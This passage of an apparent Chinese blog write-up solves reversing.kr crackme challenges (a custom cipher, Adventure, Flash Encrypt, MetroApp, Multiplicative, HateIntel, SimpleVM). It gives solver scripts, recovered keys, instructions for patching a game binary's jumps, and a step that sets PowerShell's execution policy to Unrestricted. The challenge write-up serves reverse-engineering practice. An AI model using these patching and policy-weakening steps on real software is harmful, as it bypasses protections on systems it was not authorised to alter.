    data_ad2[6]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[6]
    r24=data_ae4[i]&0x24

    data_ad2[7]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[7]
    r24=data_ae4[i]&0x18

    data_ad2[8]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[3]
    r24=data_ae4[i]&0x81

    data_ad2[9]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[4]

最后一部分0X3DD-0X3F6,如下:

def round3():
    data_ad2[1] = ror(data_ad2[1],8-getrorindex(all,8,(all & 0xff00) >> 8 )[1])
    data_ad2[2] = ror(data_ad2[2],8-getrorindex(all,7,(all & 0xff00) >> 8 )[1])
    data_ad2[3] = ror(data_ad2[3],8-getrorindex(all,6,(all & 0xff00) >> 8 )[1])
    data_ad2[4] = ror(data_ad2[4],8-getrorindex(all,5,(all & 0xff00) >> 8 )[1])
    data_ad2[5] = ror(data_ad2[5],8-getrorindex(all,4,(all & 0xff00) >> 8 )[1])
    data_ad2[6] = ror(data_ad2[6],8-getrorindex(all,3,(all & 0xff00) >> 8 )[1])
    data_ad2[7] = ror(data_ad2[7],8-getrorindex(all,2,(all & 0xff00) >> 8 )[1])

那一个完整的加密流程如下:


data_ad2=[0]+input+[0] #输入

for i in range(8):
    round1(i)

data_ad2[0]=all&0xff

for i in range(8):
    round2(i)

data_ad2[9]=(all&0xff00)>>8

round3()

正向恢复完了就得考虑逆向或者爆破解决的问题了。
那这里其实分析完算法之后很容易知道每一位是独立计算的,每一位结果只受一位输入的影响,所以可以逐位爆破,但逐位爆破又需要考虑输入ascii码的总和,所以我们爆破分层,先爆破总和,再逐位爆破。

那至于结果的哪一位受输出的哪一位影响,我们可以分析,连个线就行了,我这里举例把方法是说一下就行了:

比如前四位输入,r1-1代表round1的第一轮,根据round1的算法,round1共8轮,第一轮input[1]影响第四位,但是到第二轮之后input[1]影响第1位,这样依次分析,发现round1的输出就是和输入一一对应,再分析round2round3,可以得到最终结果:

input[1] <- result[4]
input[2] <- result[1]
input[3] <- result[3]
input[4] <- result[2]
input[5] <- result[5]
input[6] <- result[6]
input[7] <- result[7]
input[8] <- result[8]

然后就可以开始逐位爆破,
得到结果如下:

这里附上全部的爆破代码:

data_624=[0x01,0x00,0x00,0x02,0x03]
data_ae4=[0x4a,0x18,0xaf,0xf7,0x81,0x6a,0xd7,0x3a]
data_100=[0x4A,0x16,0x71,0x2C,0x11,0xBB,0xAF,0x1E,0xB8,0x9F,0x68,0xD3,0x37,0xCD,0x55,0x1B,0xB7,0xA8,0x02,0xBD,0x0B,0xFF,0xEE,0x8E,0x30,0xC9,0xD7,0x12,0xE8,0x60,0x0A,0x4B,0x01,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x58,0x05,0x15,0x00,0x66,0x05,0x16,0x00,0x73,0x05,0x1F,0x00,0x82,0x05,0x28,0x00,0x10,0x06,0x29,0x00,0x10,0x06,0x2A,0x00,0x10,0x06,0x33,0x00,0x91,0x05,0x08,0x00,0x01,0x00,0x01,0x05,0x00,0x00,0x00,0x00,0x2F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0A,0x01,0x01,0x05,0x00,0x00,0x00,0x00,0x65,0x74,0x63,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0B,0x01,0x01,0x05,0x00,0x00,0x00,0x00,0x74,0x6D,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0C,0x01,0x01,0x05,0x00,0x00,0x00,0x00,0x62,0x69,0x6E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0x01,0x01,0x05,0x00,0x00,0x00,0x00,0x76,0x61,0x72,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]
r4=0
def go(data_ad2,all,guess,index):
    
    global r4
    r4=0
    def swap(val):
        hexray="{:0>2}".format(hex(val)[2:])
        tmp1=hexray[0]
        tmp2=hexray[1]
        return int("0x"+tmp2+tmp1,16)

    def lsr(val):
        return val>>1

    def sub_1DC(val):
        if val<=0:
            return 0
        if val-1<5:
            return data_624[val-1]
        else:
            return 0

    def sub_1EC(val):
        if val==0x18: 
            return 3
        elif val<0x18:
            if val==4:#4
                return 1
            elif val<4:
                if 1<=val<=2:#12
                    return 1
                else:#03
                    return 0
            elif val>4:
                if val==8:
                    return 1
                else:
                    if val==0x10:
                        return 2
                    else:
                        return 0
        elif val>0x18:
            if val==0x40:
                return 3
            elif val<0x40:
                if val==0x20:
                    return 2
                elif val==0x24:
                    return 3
                else:
                    return 0
            elif val>0x40:
                if val==0x80:
                    return 2
                elif val==0x81:
                    return 3
                elif val==0x42:
                    return 3
                else:
                    return 0

    def round1(i):
        #print([hex(i) for i in data_ad2])
        global r4
        r12=i<<2
        r12=r12&0xff
        #if i==1:import ipdb;ipdb.set_trace()
        last_round_ad2=data_ad2.copy()
        data_ad2[0]=data_100[0+r4]^last_round_ad2[2]
        r24=data_ae4[i]&0x05

        data_ad2[1]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[4]    
        r24=data_ae4[i]&0x0a
        r24=lsr(r24)

        data_ad2[2]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[7]
        r24=data_ae4[i]&0x50
        r24=swap(r24)

        data_ad2[3]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[3]
        r24=data_ae4[i]&0xa0
        r24=swap(r24)
        r24=lsr(r24)

        data_ad2[4]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[1]
        r24=data_ae4[i]&0x05

        data_ad2[5]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[5]
        r24=data_ae4[i]&0x0a
        r24=lsr(r24)

        data_ad2[6]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[6]
        r24=data_ae4[i]&0x50
        r24=swap(r24)

        data_ad2[7]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[2]
        r24=data_ae4[i]&0xa0
        r24=swap(r24)
        r24=lsr(r24)

        data_ad2[8]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[8]
        r24=data_ae4[i]&0x05

        data_ad2[9]=data_100[0+r12+sub_1DC(r24)]^last_round_ad2[3]
        r4+=4



    def round2(i):
        #print([hex(i) for i in data_ad2])
        r12=i<<2
        r12=r12&0xff
        #if i==0:import ipdb;ipdb.set_trace()

        last_round_ad2=data_ad2.copy()

        r24=data_ae4[i]&0x42

        data_ad2[0]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[0]
        r24=data_ae4[i]&0x81

        data_ad2[1]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[4]
        r24=data_ae4[i]&0x42

        data_ad2[2]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[1]
        r24=data_ae4[i]&0x24
        
        data_ad2[3]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[8]
        r24=data_ae4[i]&0x18

        data_ad2[4]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[2]
        r24=data_ae4[i]&0x81

        data_ad2[5]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[5]
        r24=data_ae4[i]&0x42

        data_ad2[6]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[6]
        r24=data_ae4[i]&0x24

        data_ad2[7]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[7]
        r24=data_ae4[i]&0x18

        data_ad2[8]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[3]
        r24=data_ae4[i]&0x81

        data_ad2[9]=data_100[0+r12+sub_1EC(r24)]^last_round_ad2[4]

    def ror(a,b):
        return ((a>>b) ^ (a<<(8-b)))&0xff

    def getrorindex(r24,r22,r9):
        carry = 0
        r25 = r9
        r26 = 0
        r23 = 0
        r27 = 0
        i = 0x11
        while(1):
            r24 = (r24 << 1) + carry
            carry = (r24 & 0x100) >> 8
            r24 &= 0xff
            
            r25 = (r25 << 1) + carry
            carry = (r25 & 0x100) >> 8
            r25 &= 0xff
            i -= 1
            if i == 0:
                break
            r26 = (r26 << 1) + carry
            carry = (r26 & 0x100) >> 8
            r26 &= 0xff

            r27 = (r27 << 1) + carry
            carry = (r27 & 0x100) >> 8
            r27 &= 0xff

            tmp = r26 - r22
            carry = (tmp & 0x100) >> 8
            tmp &= 0xff

            tmp = r27 - r23 - carry
            carry = (tmp & 0x100) >> 8
            tmp &= 0xff
            
            if carry == 0:
                r26 = (r26 - r22) & 0xff
        r24 = (0xff-r24)&0xff
        r25 = (0xff-r25)&0xff
        return (r24,r26)

    def round3():
        data_ad2[1] = ror(data_ad2[1],8-getrorindex(all,8,(all & 0xff00) >> 8 )[1])
        data_ad2[2] = ror(data_ad2[2],8-getrorindex(all,7,(all & 0xff00) >> 8 )[1])
        data_ad2[3] = ror(data_ad2[3],8-getrorindex(all,6,(all & 0xff00) >> 8 )[1])
        data_ad2[4] = ror(data_ad2[4],8-getrorindex(all,5,(all & 0xff00) >> 8 )[1])
        data_ad2[5] = ror(data_ad2[5],8-getrorindex(all,4,(all & 0xff00) >> 8 )[1])
        data_ad2[6] = ror(data_ad2[6],8-getrorindex(all,3,(all & 0xff00) >> 8 )[1])
        data_ad2[7] = ror(data_ad2[7],8-getrorindex(all,2,(all & 0xff00) >> 8 )[1])
    
    
    for i in range(8):
        round1(i)

    data_ad2[0]=all&0xff

    for i in range(8):
        round2(i)

    data_ad2[9]=(all&0xff00)>>8

    round3()

    print([hex(i) for i in data_ad2])
    if data_ad2[index]==guess:
        return True
    else:
        return False

all_ans=[]
for all in range(0x200,0x300):
    ans=[]
    #result=[0x9a,0x7d,0x72,0x57,0xd5,0x78,0x49,0xe6,0xf2,0x02]

    for i in range(0x7f):
        data_ad2=[0]+[i]*8+[0]
        if go(data_ad2,all,0xd5,4):
            ans.append(i)
            break
    if len(ans)!=1: continue

    for i in range(0x7f):
        data_ad2=[0]+[i]*8+[0]
        if go(data_ad2,all,0x7d,1):
            ans.append(i)
            break
        else: continue
    if len(ans)!=2: continue

    for i in range(0x7f):
        data_ad2=[0]+[i]*8+[0]
        if go(data_ad2,all,0x57,3):
            ans.append(i)
            break
        else: continue
    if len(ans)!=3: continue
    
    for i in range(0x7f):
        data_ad2=[0]+[i]*8+[0]
        if go(data_ad2,all,0x72,2):
            ans.append(i)
            break
        else: continue
    if len(ans)!=4: continue
    
    for i in range(0x7f):
        data_ad2=[0]+[i]*8+[0]
        if go(data_ad2,all,0x78,5):
            ans.append(i)
            break
        else: continue
    if len(ans)!=5: continue

    for i in range(0x7f):
        data_ad2=[0]+[i]*8+[0]
        if go(data_ad2,all,0x49,6):
            ans.append(i)
            break
        else: continue
    if len(ans)!=6: continue
    
    for i in range(0x7f):
        data_ad2=[0]+[i]*8+[0]
        if go(data_ad2,all,0xe6,7):
            ans.append(i)
            break
        else: continue
    if len(ans)!=7: continue
    
    for i in range(0x7f):
        data_ad2=[0]+[i]*8+[0]
        if go(data_ad2,all,0xf2,8):
            ans.append(i)
            break
        else: continue
    if len(ans)!=8: continue
    tmp=0
    for i in ans:
        tmp+=i
    if tmp != all:
        continue
    print('=============')
    all_ans.append("".join(chr(i) for i in ans))

print(all_ans)

但是提交发现这并不是flag。。有点迷茫,结果登录进去之后发现文件都可以读了不是乱码了,直接读/tmp/readme就拿到flag:

具体读的方式开始已经说了需要下断点修改一下内存,这里不赘述了,具体的怎么加密的我就没有进行分析了。。。到此为止。

Adventure

也算是知道怎么能够正常调试metroapp了,plmebug.exe 是一种命令行工具,可允许你控制应用程序包的PLM状态,因此可以使用plmebug.exe禁用 PLM,这对于某些调试器来说是必需的。

通过下面这条命令我们就可以通过调试器直接附加上去进行调试,而不会像之前我做题目MetroApp的时候一会儿就会程序就自动退出了。

plmdebug /enableDebug  PID

附加上去之后,直接去主线程,通过堆栈调用先回到用户空间,然后通过寻找关键字符串,定位到了关键代码位置,关键函数sub_403890,简单看了一下:

主要是这两个地方,然后对应的v4[36]-v4[43]是随着打怪实时变化,也就是说我需要找到这8个双字随打怪数量的变化规律才行。

经过调试分析

上面这一段代码即是判定有没有命中怪物,
然后如下图:

前八个双字使我们关注的8个变化值,最后倒数第二个双字(图中的A9 AA AA AA)是剩余的怪物数量,代码计算当前击毙怪物数量既是:0xAAAAAAAA-0xAAAAAAA9,所以其实我们可以随意修改击杀怪物数量,但是没有意义,因为我们需要看懂我们关注的8个字节的逻辑。

调了俩小时,看懂了逻辑,发现主要核心还是rand,那我们先跳过逻辑部分,想办法让程序自动执行出结果,先来看看这个循环:

这个循环就是主要的命中判断循环,经过前面一堆判断(位置,子弹,命中情况)之后,满足条件则执行ja short loc_403c8e,这样就意味着命中了一个,所以这里的绕过很简单:

  • 把其中的jbe short loc_403c26全部改成jbe short loc_403c24
  • 再把ja short loc_403c8e改成jmp short loc_403c8e

这样之后,我们就实现了自动打怪,可以看到分数不断上涨,但是这种方法受限于怪物刷新机制,因为刷怪频率限制了分数上涨的速度,虽然在自动打怪得分,但是很慢,我们还需要进一步修改程序

如下所示:

Flash Encrypt

第一次做flash逆向的题目,不过这个题目还是比较简单的,简单搜集了一下得到了一个工具:https://github.com/jindrapetrik/jpexs-decompiler

跑起来之后大概这样

翻了下几个目录,得到几个主要的信息:

  • 这个swf有7帧,前六帧都需要输入一个数字然后摁按钮确认
  • 第七帧是答案,猜想是前六帧输对了调到第七帧出答案
  • 前六帧的按钮都有对应的处理脚本,Action Script,可读性很高

简单读了下发现是这样一个逻辑:
在第1帧里面:

所以第1帧输入1456,跳到第3帧
然后跟进第3帧:

所以第3帧输入25,跳到第4帧,
然后跟进第4帧:

所以第4帧输入44,跳到第2帧,
然后跟进第2帧:

所以第4帧输入8,跳到第6帧,关于这个spw和spwd是算最后的key的,所以可以不用管具体怎么算的,因为最后会打印答案的。
然后跟进第6帧:

所以第6帧输入88,跳到第5帧,
然后跟进第5帧:

最后输入20546,跳到最后一帧打印答案

MetroApp

做题之前先说一下环境安装过程吧,好歹折腾了快俩小时,头疼。题目的readme提示了要win8。

首先在MSDN上下镜像,我用的是这个:

起一个管理员权限的powershell,先设定可以执行ps脚本,再设定运行不受信任的用户发布的软件

set-executionpolicy remotesigned
Set-ExecutionPolicy -ExecutionPolicy Unrestricted 

然后证书有效期注意

调整系统时间为2013年,之后用powershell运行ps1脚本,然后就会弹出一个框要链接服务器获取win8开发者许可证,这个时候先别点我同意,因为要连接服务器,需要把系统时间恢复回来,然后再点我同意,之后登录Microsoft账户,然后很快就弹出一个框:

然后关闭之后可能会失败,这个时候不慌,因为win8开发者许可证已经拿到了,我们把系统时间重新回到2013年,然后重新跑一次ps1脚本,然后就安装成功了:

然后查了下,这个appx后缀其实就是个皮包的zip,直接按zip解压就行了,然后看到一个MetroApp.exe,放进ida里面,搜字符串找到了判断的关键位置:

然后想着动态调试,很迷很迷,没有调过类似的,并没有经验,每次调试器附加上去之后,只要暂停,一般不过10多秒钟,程序就自动退出了,非常头疼,而且经过调试之后发现上述找到的关键位置应该是个还不够:

即便开头以MERONG开头也是wrong,说明后面还有进一步的判断,
这里用的各种windowsxxxx的api都是对HSTRING结构体操作,从多次调试来看,如下下图的前20字节:

第4-7代表HSTRING长度,第16-19字节代表实际的UTF-16的字符串的地址。

然后继续往下看代码,整个代码量太大了,而且动态调试应该是我没有掌握到方法,最多只能暂停住进程10来秒的样子,一旦超了进程就退出了。

这里要注意调试的线程是主线程,通过调用堆栈可以定位到用户空间的代码,然后搜索关键字符串例如wrong就能找到具体的代码位置,然后下断点就能调试

进过一番调试测试,终于定位到了一个奇怪的地方:

对应的反编译代码如下:

这三个都是对应的我们输入的字符串,再看看接下来这个递归式子,
v80是个计数器,在while之前被置为0,每一轮循环自加一,
v50,v51,v52都是输入。考虑到其中的字符串编码是UTF-16,每一个字符对应两个字节,所以换算一下,递归式如下:

input[i+1] = byte_4307A8[i] ^ rol(input[i] , input[i] & 7)

Readme.txt提示了说答案是大写字母+数字

那就很简单了,写个深搜直接爆破所有答案,由于不知道长度,暂时用15来爆破:

byte_4307A8=[0x77,0xAD,0x07,0x02,0xA5,0x00,0x29,0x99,0x28,0x29,0x24,0x5E,0x2E,0x2A,0x2B,0x3F,0x5B,0x5D,0x7C,0x5C,0x2D,0x7B,0x7D,0x2C,0x3A,0x3D,0x21]
v80=0
stringtable="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
ans=""
length=15

def rol(lst_int, k):
    lst=list('&#123;:0>8&#125;'.format(bin(lst_int)[2:]))
    tmp= lst[k:] + lst[:k]
    tmp2=int("0b"+"".join(i for i in tmp),2)
    return tmp2

def search(char,i,ans):
    print(char,i,ans)
    if i==length:
        print(ans)
        input("")
        return
    else:
        for j in stringtable:
            if ord(j) == byte_4307A8[i&7]^rol(ord(char),ord(char)&7):
                search(j,i+1,ans+j)
        return

for i in stringtable:
    search(i,0,i)

结果如下:

答案也就是D34DF4C3

虽然乱七八糟把答案整出来了,但是几个地方还是没弄懂

    1. 为什么附加到MetroAPP上一定时间之后程序会自动退出?
    1. 从结果来看,最开始的初始化CorrectWrongHSTRING明显就是幌子,但是真实的判断点及输出点哪儿?
    1. 如何正常调试MetroAPP

CRC1

最近时间实在太碎了,这类型的题先留坑,有整块时间再来看。

Multiplicative

一个2kb不到的jar文件,直接放到jd里面一看,空空如也。。。

不知道是版本还是混淆的原因,那就换一个在线反编译网站java Decompilers online


六种反编译器,JDCore出不来,但是CFR出来了,代码如下:

/*
 * Decompiled with CFR 0.139.
 */
import java.io.PrintStream;

public class JavaCrackMe &#123;
    public static final synchronized /* bridge */ /* varargs */ strictfp /* synthetic */ void main(String ... arrstring) &#123;
        try &#123;
            System.out.println("Reversing.Kr CrackMe!!");
            System.out.println("-----------------------------");
            System.out.println("The idea came out of the warsaw's crackme");
            System.out.println("-----------------------------\n");
            long l = Long.decode(arrstring[0]);
            if ((l *= 26729L) == -1536092243306511225L) &#123;
                System.out.println("Correct!");
            &#125; else &#123;
                System.out.println("Wrong");
            &#125;
        &#125;
        catch (Exception exception) &#123;
            System.out.println("Please enter a 64bit signed int");
        &#125;
    &#125;
&#125;

那就很简单了,-1536092243306511225=2**64-1536092243306511225=16910651830403040391

但是16910651830403040391/26729不能整除,考虑到无符号long型的数据最大为2**64-1,那就多叠加几个2**64如下:

for i in range(10000000):
    if (-1536092243306511225+2**64+i*2**64)%26729==0:
        print((-1536092243306511225+2**64+i*2**64)//26729)
        print(2**64-(-1536092243306511225+2**64+i*2**64)//26729)
        exit()

得到结果9468659231510783855,但是被说不是64bit signed int,那就转换成负数-(2**64-9468659231510783855)=8978084842198767761,

最终答案就是-8978084842198767761

CRC2

同留坑

HateIntel

没有环境,arm也不太会,只能ida静态看看反编译的代码,整体相对比较简单,很容易找到:

将输入通过sub_232c函数,然后之后和byte_3004的内容逐字节比较。
那跟进sub_232c函数

循环4次,即对每一位执行4次sub_2494,跟进看看:

发现由于a2=1,所以这个sub_2494本质就是对8bit数字进行一个循环左移操作。

整个总结下来就是,对每一位输入进行循环左移4位,然后和固定值byte_3004比较,所以写个函数将byte_3004的内容循环右移就行了,如下:

byte_3004=[0x44,0xF6,0xF5,0x57,0xF5,0xC6,0x96,0xB6,0x56,0xF5,0x14,0x25,0xD4,0xF5,0x96,0xE6,0x37,0x47,0x27,0x57,0x36,0x47,0x96,0x03,0xE6,0xF3,0xA3,0x92,0x00]

def rol(lst_int, k):
    lst=list('&#123;:0>8&#125;'.format(bin(lst_int)[2:]))
    tmp= lst[k:] + lst[:k]
    tmp2=int("0b"+"".join(i for i in tmp),2)
    return tmp2

key=""
for i in byte_3004:
    key+=chr(rol(i,-4))

print(key)

得到结果Do_u_like_ARM_instructi0n?:)

SimpleVM

遇到VM的题目就是坐穿屁股,这个题又做了一下午加一晚上

首先放进ida发现入口地址有点奇怪,

入口地址为0xc023dc,那先跑起来试试,跑起来之后发现一个奇怪的点:

程序起了两个子进程,用gdb attach224上去之后,然后用gcore把内存转储出来,放进gdb里,然后过了一下发现了其中sub_8048556有个可显input字符串,这应该就是主要逻辑了

sub_8048460(1, "Input : ", 8);

。例如这个sub_8048460

void __cdecl sub_8048460(int a1, int a2, int a3)
&#123;
  JUMPOUT(0xF7DF6B70);
&#125;

明显是在调用库函数,查看一下进称的maps

计算一下偏移

>>> hex(0xF7DF6B70-0xf7d21000)
'0xd5b70'

ida打开这个/lib/i386-linux-gnu/libc-2.23.so看看这个偏移上面的函数

所以知道这个sub_8048460就是write。
然后依次确认了几个关键函数

sub_80489FE = getuid
sub_8048460 = write
sub_8048470 = pipe
sub_8048480 = fork
sub_8048400 = read

然后代码可读性就比较高了,核心就是这一部分

    write(1, "Input : ", 8);
    pipe(&v4);
    if ( pipe((int)&v4) != -1 && (pipe(&v6), v2 != -1) )
    &#123;
      v8 = fork__();
      if ( v8 == -1 )
      &#123;
        v10 = 0;
        for ( i = 1; i <= 6; ++i )
        &#123;
          v9 = byte_804B06E[i - 1] ^ i;         // error!
          write(1, &v9, 1);
        &#125;
      &#125;
      else if ( v8 )
      &#123;
        v14 = 0;
        v15 = 0;
        v16 = 0;
        read(v4, &v14, 9);
        read(v4, &dword_804B0A0, 200);
        for ( i = 0; i <= 199; ++i )
          *(i + 0x804B0A0) ^= 0x20u;
        dword_804B0A0 = v14;
        dword_804B0A4 = v15;
        for ( i = 0; i <= 199; ++i )
          *(i + 0x804B0A0) ^= 0x10u;
        if ( sub_8048C6D() == 1 )
        &#123;
          if ( cur_pc )
          &#123;
            v10 = 0;
            for ( i = 1; i <= 9; ++i )
            &#123;
              v9 = *(&word_804B07A + i - 1) ^ i;//correct
              write(1, &v9, 1);
            &#125;
          &#125;
          else
          &#123;
            v10 = 0;
            for ( i = 1; i <= 6; ++i )
            &#123;
              v9 = *(&dword_804B074 + i - 1) ^ i;// Wrong
              write(1, &v9, 1);
            &#125;
          &#125;
        &#125;
        else
        &#123;
          v10 = 0;
          for ( i = 1; i <= 6; ++i )
          &#123;
            v9 = *(&dword_804B074 + i - 1) ^ i; // Wrong
            write(1, &v9, 1);
          &#125;
        &#125;
      &#125;
      else
      &#123;
        v11 = 0;
        v12 = 0;
        v13 = 0;
        read(0, &v11, 10);
        if ( v13 )
        &#123;
          v10 = 0;
          for ( i = 1; i <= 6; ++i )
          &#123;
            v9 = *(&dword_804B074 + i - 1) ^ i; // Wrong
            write(1, &v9, 1);
          &#125;
        &#125;
        else
        &#123;
          write(v5, &v11, 9);
          for ( i = 0; i <= 199; ++i )
          &#123;
            v3 = sub_80489AA(*(i + 0x804B0A0), 3);
            *(i + 0x804B0A0) = v3;
          &#125;
          sub_8048410();
          write(v5, &dword_804B0A0, 200);
        &#125;
      &#125;

根据fork()的返回值不同进行不同的操作,即区分父子进程,子进程的返回值为0,父进程的返回值是新子进程的ID。也就是父子进程进行不同的操作,这里先看子进程,子进程将用户输入写到了v5里面,然后对0x804B0A0处200字节内存进行了一顿异或操作也写到了v5。

再回来看看父进程,父进程两个read不用说了把,就是等着子进程写过去的数据。然后还是取到0x804B0A0位置,之后又进行了两波异或操作,然后就是关键的sub_8048C6D函数是否correct
跟进看一下:

出现了,vm的部分,又是屁股坐穿的一个题,为了读了好久之后,还是有点迷糊,而且反编译出的c还有很多错误的地方,而且动态调试很麻烦,先跑起来,然后gdb连接到两个子进程,然后子进程的子进程先c,然后子进程下断点再c,然后再输入,然后再跟,调起来头都是晕的。
于是花了一个小时改成了python,同时也是人工纠正了一下反编译中的一些问题。
基本就如下面所示了。基本逻辑就是将我们的输入放在0x804B0A0开始的200字节的前七个字节,然后开始循环调用如下:

cnt=7
sub_8048C13()
while cnt: #逐位比较,某一位错误即退出while
    cnt-=1
    sub_8048B92()
    sub_8048ABB()
    sub_8048B92()
    sub_8048B31()
    sub_8048BCE()
sub_8048ABB()
sub_8048C22()

逐位调用函数进行对比,前一位正确了才能继续循环校验下一位,核心的校验点
sub_8048B31中对比了dword_804B198dword_804B194值,这样只需要倒推这两个值的来源就能计算到正确的值,不过我就懒得算了,知道大概算法之后,动态跟几个点,主要就是每次循环的第一次调用sub_8048B92,对804B0A0[7]赋值,比如以校验第一位输入为例:

这里第一次调用sub_8048B92时,set_code即将对804B0A0[7]赋值96^0x10,

然后到了sub_8048B31进行比较的时候,dword_804b194的值为9,所以第一位输入的ascii码值即为96^9,具体的逻辑大家可以进去分析。

这里附上当时调试的python代码:

input=[96^9,102^2,21^38,7^45,76^34,99^7,16^120]

tmp1=[]
for i in input:
    tmp1.append(i^0x10)

tmp2=[0x1a,0x10,0x1b,0x1a,0x16,0x16,0x10,0x10,0x1b,0x12,0x17,0x70,0x16,0x10,0x17,0x12,0x17,0x19,0x17,0x10,0x17,0x19,0x12,0x12,0x17,0x76,0x16,0x11,0x17,0x12,0x17,0x12,0x17,0x11,0x17,0x19,0x12,0x12,0x17,0x05,0x16,0x12,0x17,0x12,0x17,0x36,0x17,0x12,0x17,0x19,0x12,0x12,0x17,0x17,0x16,0x13,0x17,0x12,0x17,0x3d,0x17,0x13,0x17,0x19,0x12,0x12,0x17,0x5c,0x16,0x14,0x17,0x12,0x17,0x32,0x17,0x14,0x17,0x19,0x12,0x12,0x17,0x73,0x16,0x15,0x17,0x12,0x17,0x17,0x17,0x15,0x17,0x19,0x12,0x12,0x17,0x68,0x16,0x16,0x17,0x12,0x17,0x00,0x17,0x16,0x17,0x19,0x12,0x12,0x10,0x11,0x1b,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10]
dword_804B0A0=tmp1+tmp2
byte_804B0A9=0x1a
cur_pc=0
byte_804B0AA=0x1a
dword_804B198=0
dword_804B194=0


def log(myfunc):
    def wrapper():
        myfunc()
        global byte_804B0A9,cur_pc,byte_804B0AA,dword_804B194,dword_804B198
        print("="*15+myfunc.__name__+"="*15)
        print("byte_804B0A9: ",hex(byte_804B0A9))
        print("cur_pc: ",hex(cur_pc))
        print("="*40)
    return wrapper

def logs():
    global byte_804B0A9,cur_pc,byte_804B0AA,dword_804B194,dword_804B198
    print("="*30)
    print("byte_804B0A9: ",hex(byte_804B0A9))
    print("cur_pc: ",hex(cur_pc))
    print("="*30)


def set_pc(): #sub_8048A48
    global byte_804B0A9,cur_pc,byte_804B0AA,dword_804B194,dword_804B198

    cur_pc=dword_804B0A0[byte_804B0A9^0x10]^0x10
    byte_804B0A9 = ((byte_804B0A9^0x10)+1)^0x10


def set_pc_2(): #sub_8048A0B
    global byte_804B0A9,cur_pc,byte_804B0AA,dword_804B194,dword_804B198

    cur_pc=dword_804B0A0[cur_pc]^0x10

def set_code(): #sub_8048A2F
    global byte_804B0A9,cur_pc,byte_804B0AA,dword_804B194,dword_804B198

    dword_804B0A0[cur_pc]=dword_804B198^0x10

def sub_8048A92():
    global byte_804B0A9,cur_pc,byte_804B0AA,dword_804B194,dword_804B198

    byte_804B0A9=((byte_804B0AA^0x10)+cur_pc)^0x10

@log
def sub_8048B92(): 
    global byte_804B0A9,cur_pc,byte_804B0AA,dword_804B194,dword_804B198
    set_pc()
    dword_804B198 = cur_pc
    set_pc()
    dword_804B194 = cur_pc
    cur_pc = dword_804B198
    dword_804B198 = dword_804B194
    set_code()
@log
def sub_8048ABB():
    global byte_804B0A9,cur_pc,byte_804B0AA,dword_804B194,dword_804B198
    dword_804B198 = cur_pc
    dword_804B18C = dword_804B194
    set_pc()
    dword_804B18C = cur_pc
    set_pc()
    set_pc_2()
    dword_804B194 = cur_pc
    cur_pc = dword_804B18C
    set_pc_2()
    dword_804B198 = cur_pc^dword_804B194
    cur_pc = dword_804B18C
    set_code()
@log
def sub_8048B31():
    global byte_804B0A9,cur_pc,byte_804B0AA,dword_804B194,dword_804B198
    set_pc()
    set_pc_2()
    dword_804B198 = cur_pc
    set_pc()
    set_pc_2()
    dword_804B194 = cur_pc
    if(dword_804B198 == dword_804B194):
        dword_804B198 = 1
    else:
        dword_804B198 = 0
    cur_pc = 8
    set_code()
@log
def sub_8048BCE():
    global byte_804B0A9,cur_pc,byte_804B0AA,dword_804B194,dword_804B198
    dword_804B198 = cur_pc
    set_pc()
    dword_804B198 = cur_pc
    cur_pc=8
    set_pc_2()
    if(cur_pc==0):
        cur_pc = dword_804B198
        sub_8048A92()
@log
def sub_8048C13():
    set_pc()
    sub_8048A92()
@log
def sub_8048C22():
    global byte_804B0A9,cur_pc,byte_804B0AA,dword_804B194,dword_804B198
    cur_pc=0
